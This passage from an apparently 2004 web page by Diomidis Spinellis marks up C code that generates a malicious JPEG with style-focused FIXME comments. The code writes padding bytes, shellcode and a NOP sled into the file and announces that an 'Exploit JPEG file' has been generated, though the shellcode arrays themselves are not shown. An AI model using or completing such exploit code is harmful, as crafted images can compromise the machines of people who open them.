 /* FIXME Replace the loop with a single fwrite(). */
 /* FIXME Remove unneeded braces. */
 /* FIXME Correct inconsistent spacing: for (i */
  for(i = 0; i < sizeof(admin_header5) - 1; i++){fputc(admin_header5[i], fout);}
  
 /* FIXME Replace the loop with a single fwrite(). */
 /* FIXME Remove unneeded braces. */
 /* FIXME Correct inconsistent spacing: for (i */
  for(i = 0; i < sizeof(admin_header6) - 1; i++){fputc(admin_header6[i], fout);}
  
 /* FIXME Add spaces around the < operator. */
  for (i = 0; i<1601; i++){fputc('\x41', fout);}

 /* FIXME Replace the loop with a single fwrite(). */
 /* FIXME Remove unneeded braces. */
 /* FIXME Correct inconsistent spacing: for (i */
  for(i = 0; i < sizeof(admin_shellcode) - 1; i++){fputc(admin_shellcode[i], fout);}

 
}

if (attack_mode != 3 )
{
 /* FIXME Correct inconsistent spacing: for (i */
 for(i = i + j; i < 0x1000 - sizeof(setNOPs2) + 1; i++)
 /* FIXME Indent. */
 fputc(0x90, fout); 
 
 /* FIXME Correct inconsistent spacing: for (j */
 for( j = 0; i < 0x1000 && j < sizeof(setNOPs2) - 1; i++, j++)
 /* FIXME Indent. */
 fputc(setNOPs2[j], fout);
       
}

fprintf(fout, "\xFF\xD9");


/* FIXME Use fclose(fout) and check the return code. */
fcloseall();

WSACleanup();

printf("  Exploit JPEG file %s has been generated!\n", jpeg_filename);

return(EXIT_SUCCESS);
}

Read and post comments, or share through   


Creative Commons License Last modified: Tuesday, October 5, 2004 10:47 pm
Unless otherwise expressly stated, all original material on this page created by Diomidis Spinellis is licensed under a Creative Commons Attribution-Share Alike 3.0 Greece License.